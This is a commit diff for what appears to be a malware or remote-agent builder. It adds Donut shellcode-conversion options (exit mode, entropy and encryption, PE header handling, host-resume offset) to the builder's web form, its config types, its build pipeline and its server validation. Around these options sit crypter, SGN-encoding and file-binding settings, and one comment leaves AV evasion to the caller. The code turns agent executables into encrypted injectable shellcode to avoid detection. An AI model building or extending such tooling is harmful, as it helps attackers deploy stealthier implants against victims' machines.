add almost all donut options
This commit is contained in:
@@ -221,6 +221,11 @@ function collectBuildPluginSettings() {
|
||||
function setBuildField(field, value) {
|
||||
const fieldMap = {
|
||||
useDonut: "#donut-mode",
|
||||
donutSingleThreaded: "#donut-single-threaded",
|
||||
donutExitMode: "#donut-exit-mode",
|
||||
donutEntropy: "#donut-entropy",
|
||||
donutPreserveHeaders: "#donut-preserve-headers",
|
||||
donutResumeOffset: "#donut-resume-offset",
|
||||
useLinuxShellcode: "#linux-shellcode-mode",
|
||||
shellcodeConsole: "#shellcode-console",
|
||||
useSgn: "#sgn-mode",
|
||||
@@ -529,6 +534,11 @@ function collectFormSettings() {
|
||||
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
|
||||
cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
|
||||
useDonut: document.getElementById("donut-mode")?.checked ?? false,
|
||||
donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked ?? false,
|
||||
donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
|
||||
donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
|
||||
donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked ?? false,
|
||||
donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
|
||||
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
|
||||
useSgn: document.getElementById("sgn-mode")?.checked ?? false,
|
||||
@@ -606,6 +616,11 @@ function applyFormSettings(settings) {
|
||||
setCb("#donut-mode", settings.useDonut);
|
||||
if (settings.useDonut) applyDonutMode(true);
|
||||
}
|
||||
if (settings.donutSingleThreaded !== undefined) setCb("#donut-single-threaded", settings.donutSingleThreaded);
|
||||
if (settings.donutExitMode !== undefined) setVal("donut-exit-mode", settings.donutExitMode);
|
||||
if (settings.donutEntropy !== undefined) setVal("donut-entropy", settings.donutEntropy);
|
||||
if (settings.donutPreserveHeaders !== undefined) setCb("#donut-preserve-headers", settings.donutPreserveHeaders);
|
||||
if (settings.donutResumeOffset !== undefined) setVal("donut-resume-offset", settings.donutResumeOffset);
|
||||
if (settings.useLinuxShellcode !== undefined) {
|
||||
setCb("#linux-shellcode-mode", settings.useLinuxShellcode);
|
||||
if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
|
||||
@@ -1815,6 +1830,11 @@ form?.addEventListener("submit", async (e) => {
|
||||
: undefined,
|
||||
iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
|
||||
useDonut: document.getElementById("donut-mode")?.checked || false,
|
||||
donutSingleThreaded: document.getElementById("donut-single-threaded")?.checked || false,
|
||||
donutExitMode: parseInt(document.getElementById("donut-exit-mode")?.value, 10) || undefined,
|
||||
donutEntropy: parseInt(document.getElementById("donut-entropy")?.value, 10) || undefined,
|
||||
donutPreserveHeaders: document.getElementById("donut-preserve-headers")?.checked || false,
|
||||
donutResumeOffset: parseInt(document.getElementById("donut-resume-offset")?.value, 10) || undefined,
|
||||
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
|
||||
useSgn: document.getElementById("sgn-mode")?.checked || false,
|
||||
|
||||
@@ -696,6 +696,41 @@
|
||||
<i class="fa-solid fa-terminal text-slate-400"></i>
|
||||
<span>Show console window — calls <code>AllocConsole()</code> on start (debug builds only)</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300 cursor-pointer hover:border-slate-400 transition-colors">
|
||||
<input type="checkbox" id="donut-single-threaded" name="donut-single-threaded" class="w-3.5 h-3.5" />
|
||||
<i class="fa-solid fa-sliders text-slate-400"></i>
|
||||
<span>Single-threaded shellcode (<code>-t</code>) — don't create a new thread to host the payload</span>
|
||||
</label>
|
||||
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
|
||||
<i class="fa-solid fa-right-from-bracket text-slate-400"></i>
|
||||
<label for="donut-exit-mode" class="shrink-0">Exit mode (<code>-x</code>):</label>
|
||||
<select id="donut-exit-mode" name="donut-exit-mode" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200">
|
||||
<option value="">Default (exit thread)</option>
|
||||
<option value="1">1 — Exit thread</option>
|
||||
<option value="2">2 — Exit process</option>
|
||||
<option value="3">3 — Don't exit</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
|
||||
<i class="fa-solid fa-dice-d6 text-slate-400"></i>
|
||||
<label for="donut-entropy" class="shrink-0">Entropy (<code>-e</code>):</label>
|
||||
<select id="donut-entropy" name="donut-entropy" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200">
|
||||
<option value="">Default (encrypt + randomize)</option>
|
||||
<option value="1">1 — None</option>
|
||||
<option value="2">2 — Random names only</option>
|
||||
<option value="3">3 — Random names + encrypt</option>
|
||||
</select>
|
||||
</div>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300 cursor-pointer hover:border-slate-400 transition-colors">
|
||||
<input type="checkbox" id="donut-preserve-headers" name="donut-preserve-headers" class="w-3.5 h-3.5" />
|
||||
<i class="fa-solid fa-heading text-slate-400"></i>
|
||||
<span>Preserve PE headers (<code>-k 2</code>) — keep original PE headers instead of overwriting them</span>
|
||||
</label>
|
||||
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300">
|
||||
<i class="fa-solid fa-rotate-left text-slate-400"></i>
|
||||
<label for="donut-resume-offset" class="shrink-0">Resume host offset (<code>-y</code>):</label>
|
||||
<input type="number" id="donut-resume-offset" name="donut-resume-offset" placeholder="file offset" min="1" class="bg-slate-700 border border-slate-500 rounded px-1.5 py-0.5 text-xs text-slate-200 w-24" />
|
||||
</div>
|
||||
<div id="donut-nonwin-warn" class="hidden flex items-center gap-2 px-3 py-1.5 rounded bg-yellow-900/30 border border-yellow-600/40 text-xs text-yellow-300">
|
||||
<i class="fa-solid fa-triangle-exclamation"></i>
|
||||
<span>Non-Windows targets selected — Donut only applies to Windows builds; other platforms build normally</span>
|
||||
|
||||
@@ -46,6 +46,11 @@ export type BuildConfig = {
|
||||
solRpcEndpoints?: string;
|
||||
iosBundleId?: string;
|
||||
useDonut?: boolean;
|
||||
donutSingleThreaded?: boolean;
|
||||
donutExitMode?: number;
|
||||
donutEntropy?: number;
|
||||
donutPreserveHeaders?: boolean;
|
||||
donutResumeOffset?: number;
|
||||
useLinuxShellcode?: boolean;
|
||||
shellcodeConsole?: boolean;
|
||||
useSgn?: boolean;
|
||||
|
||||
@@ -117,6 +117,11 @@ type BuildProcessConfig = {
|
||||
sleepSeconds?: number;
|
||||
boundFiles?: BoundFile[];
|
||||
useDonut?: boolean;
|
||||
donutSingleThreaded?: boolean;
|
||||
donutExitMode?: number;
|
||||
donutEntropy?: number;
|
||||
donutPreserveHeaders?: boolean;
|
||||
donutResumeOffset?: number;
|
||||
useLinuxShellcode?: boolean;
|
||||
shellcodeConsole?: boolean;
|
||||
useSgn?: boolean;
|
||||
@@ -1873,7 +1878,13 @@ func runBoundFiles() {
|
||||
}),
|
||||
sendToStream,
|
||||
);
|
||||
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
|
||||
const ok = await runDonut(filePath, binPath, donutArch, sendToStream, {
|
||||
singleThreaded: config.donutSingleThreaded,
|
||||
exitMode: config.donutExitMode,
|
||||
entropy: config.donutEntropy,
|
||||
preserveHeaders: config.donutPreserveHeaders,
|
||||
resumeOffset: config.donutResumeOffset,
|
||||
});
|
||||
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
|
||||
try { fs.unlinkSync(filePath); } catch {}
|
||||
finalOutputName = scOutputName;
|
||||
|
||||
@@ -204,6 +204,16 @@ export async function ensureDonut(
|
||||
* host. We pick the best available for the host: -z 3 (LZNT1) on
|
||||
* Windows, -z 2 (aPLib, cross-platform) elsewhere.
|
||||
* -b 1 no AMSI/WLDP bypass — caller is responsible for evasion (e.g. SGN)
|
||||
* -t single-threaded shellcode (optional, off by default)
|
||||
* -x N exit mode (optional, default donut internal: 1=exit thread)
|
||||
* 1 = exit thread, 2 = exit process, 3 = don't exit
|
||||
* -e N entropy level (optional, default donut internal: 3=encrypt+randomize)
|
||||
* 1 = none, 2 = random names only, 3 = random names + symmetric encryption
|
||||
* -k N preserve PE headers (optional, default donut internal: 1=overwrite)
|
||||
* 1 = overwrite (zero or decoy), 2 = keep all headers intact
|
||||
* -y N resume host execution at offset (optional)
|
||||
* creates a new thread for the loader, then continues host execution
|
||||
* at the given file offset relative to the host's executable base
|
||||
*
|
||||
* Exit behavior defaults to "exit thread" (-x 1) when -x is omitted, which is
|
||||
* what we want — prevents crashing the host process when the agent terminates.
|
||||
@@ -230,6 +240,7 @@ export async function runDonut(
|
||||
outputBin: string,
|
||||
arch: "amd64" | "386",
|
||||
sendToStream: (data: any) => void,
|
||||
opts?: { singleThreaded?: boolean; exitMode?: number; entropy?: number; preserveHeaders?: boolean; resumeOffset?: number },
|
||||
): Promise<boolean> {
|
||||
const bin = await ensureDonut(sendToStream);
|
||||
if (!bin) {
|
||||
@@ -239,10 +250,16 @@ export async function runDonut(
|
||||
|
||||
const archFlag = arch === "386" ? "1" : "2";
|
||||
const compressFlag = process.platform === "win32" ? "3" : "2";
|
||||
const extraFlags: string[] = [];
|
||||
if (opts?.singleThreaded) extraFlags.push("-t");
|
||||
if (opts?.exitMode !== undefined) extraFlags.push("-x", String(opts.exitMode));
|
||||
if (opts?.entropy !== undefined) extraFlags.push("-e", String(opts.entropy));
|
||||
if (opts?.preserveHeaders) extraFlags.push("-k", "2");
|
||||
if (opts?.resumeOffset !== undefined) extraFlags.push("-y", String(opts.resumeOffset));
|
||||
|
||||
try {
|
||||
// -i flag required since donut v1 (previously positional arg)
|
||||
const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 -o ${outputBin} -i ${inputPe}`
|
||||
const result = await $`${bin} -a ${archFlag} -z ${compressFlag} -f 1 -b 1 ${extraFlags} -o ${outputBin} -i ${inputPe}`
|
||||
.nothrow()
|
||||
.quiet();
|
||||
const stdout = result.stdout.toString().trim();
|
||||
|
||||
@@ -203,6 +203,11 @@ export async function handleBuildRoutes(
|
||||
boundFiles,
|
||||
iosBundleId,
|
||||
useDonut,
|
||||
donutSingleThreaded,
|
||||
donutExitMode,
|
||||
donutEntropy,
|
||||
donutPreserveHeaders,
|
||||
donutResumeOffset,
|
||||
useLinuxShellcode,
|
||||
shellcodeConsole,
|
||||
useSgn,
|
||||
@@ -529,6 +534,11 @@ export async function handleBuildRoutes(
|
||||
boundFiles: safeBoundFiles,
|
||||
iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
|
||||
useDonut: !!useDonut,
|
||||
donutSingleThreaded: !!donutSingleThreaded,
|
||||
donutExitMode: (donutExitMode === 1 || donutExitMode === 2 || donutExitMode === 3) ? donutExitMode : undefined,
|
||||
donutEntropy: (donutEntropy === 1 || donutEntropy === 2 || donutEntropy === 3) ? donutEntropy : undefined,
|
||||
donutPreserveHeaders: !!donutPreserveHeaders,
|
||||
donutResumeOffset: typeof donutResumeOffset === "number" && Number.isFinite(donutResumeOffset) && donutResumeOffset > 0 ? donutResumeOffset : undefined,
|
||||
useLinuxShellcode: !!useLinuxShellcode,
|
||||
shellcodeConsole: !!shellcodeConsole,
|
||||
useSgn: !!useSgn,
|
||||
|
||||
Reference in New Issue
Block a user